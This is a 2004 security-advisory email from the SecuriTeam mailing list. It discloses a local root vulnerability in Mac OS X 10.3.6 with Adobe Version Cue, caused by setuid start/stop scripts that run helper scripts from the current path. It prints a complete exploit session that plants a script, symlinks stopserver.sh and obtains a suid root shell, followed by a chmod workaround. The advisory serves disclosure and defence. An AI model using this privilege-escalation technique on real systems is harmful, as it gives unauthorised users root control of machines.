[NEWS] Mac OS X / Adobe Version Cue Local Root
From: SecuriTeam (support_at_securiteam.com)
Date: 12/12/04
- Previous message: SecuriTeam: "[NT] Multiple Vulnerabilities in w3who ISAPI DLL"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]
To: list@securiteam.com Date: 12 Dec 2004 10:32:06 +0200
The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion
The SecuriTeam alerts list - Free, Accurate, Independent.
Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html
- - - - - - - - -
Mac OS X / Adobe Version Cue Local Root
------------------------------------------------------------------------
SUMMARY
A vulnerability in Mac OS X when its bundled with Adobe Version Cue allows
a local attacker to create a suid root shell with a non-privileged user.
Adobe Version Cue is installed by default with virtually every recent
Adobe product. This most likely affects many versions of Mac OS X and
Adobe Version Cue.
DETAILS
Vulnerable Systems:
* Mac OS X version 10.3.6 with Adobe products
Scripts that start and stop Adobe Version Cue are suid root and do not
make any checks to see if they are running from the correct path. By
setting the current path to a controlled directory and creating scripts
with specific names, a user can have a custom script run euid root.
Exploit:
haven:~ fintler$ cd ~
haven:~ fintler$ id
uid=502(fintler) gid=500(fintler) groups=500(fintler)
haven:~ fintler$ echo "cp /bin/sh /Users/$USER;chmod 4755
/Users/$USER/sh;chown root /Users/$USER/sh" > productname.sh
haven:~ fintler$ chmod 0755 ./productname.sh
haven:~ fintler$ ln -s /Applications/Adobe\ Version\ Cue/stopserver.sh .
haven:~ fintler$ ./stopserver.sh
Stopping ...
/stopserver.sh: line 21: ./tomcat/bin/shutdown.sh: No such file or
directory
No matching processes belonging to you were found
haven:~ fintler$ ./sh
sh-2.05b# id
uid=502(fintler) euid=0(root) gid=500(fintler) groups=500(fintler)
sh-2.05b# whoami
root
sh-2.05b#
Workaround:
The following may disable aspects of Adobe Version Cue but should
temporarily fix the issue until a more permanent solution is released from
Adobe:
'sudo chmod 0755 /Applications/Adobe\ Version\ Cue/stopserver.sh'
'sudo chmod 0755 /Applications/Adobe\ Version\ Cue/startserver.sh'
ADDITIONAL INFORMATION
The information has been provided by <mailto:fintler@gmail.com> fintler.
========================================
This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com
====================
====================
DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.
- Previous message: SecuriTeam: "[NT] Multiple Vulnerabilities in w3who ISAPI DLL"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]
Relevant Pages
|
|
